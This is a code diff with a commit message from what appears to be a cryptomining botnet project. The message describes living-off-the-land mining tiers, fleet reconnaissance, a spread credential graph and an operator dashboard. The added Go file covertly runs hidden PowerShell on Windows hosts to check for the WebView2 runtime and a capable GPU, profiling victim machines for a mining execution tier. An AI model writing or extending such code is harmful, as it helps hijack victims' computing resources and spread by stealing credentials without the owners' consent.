Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_webview2_probe_windows.go

@@ -0,0 +1,54 @@
+//go:build windows
+
+package miner
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+const webView2BinaryName = "msedgewebview2.exe"
+
+func platformWebView2Probe() WebView2ProbeResult {
+	result := WebView2ProbeResult{
+		BinaryName: webView2BinaryName,
+		ProbeOnly:  true,
+	}
+	result.RuntimeInstalled = webView2RuntimeInstalled()
+	result.WebGPUAvailable = result.RuntimeInstalled && webGPUAvailable()
+	return result
+}
+
+func webView2RuntimeInstalled() bool {
+	candidates := []string{
+		filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
+		filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
+		filepath.Join(os.Getenv("LOCALAPPDATA"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
+	}
+	for _, p := range candidates {
+		if p == "" {
+			continue
+		}
+		if st, err := os.Stat(p); err == nil && !st.IsDir() {
+			return true
+		}
+	}
+	out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
+		`Get-AppxPackage -Name '*WebView2*' -EA SilentlyContinue | Select-Object -First 1 | ForEach-Object { $_.Name }`)
+	return err == nil && strings.TrimSpace(string(out)) != ""
+}
+
+func webGPUAvailable() bool {
+	// Lightweight probe: discrete GPU + D3D12 support heuristic via WMI.
+	out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command", `
+$gpu = Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 1GB } | Select-Object -First 1
+if (-not $gpu) { 'false'; exit }
+$name = $gpu.Name
+if ($name -match 'Microsoft Basic|Remote') { 'false' } else { 'true' }
+`)
+	if err != nil {
+		return false
+	}
+	return strings.TrimSpace(string(out)) == "true"
+}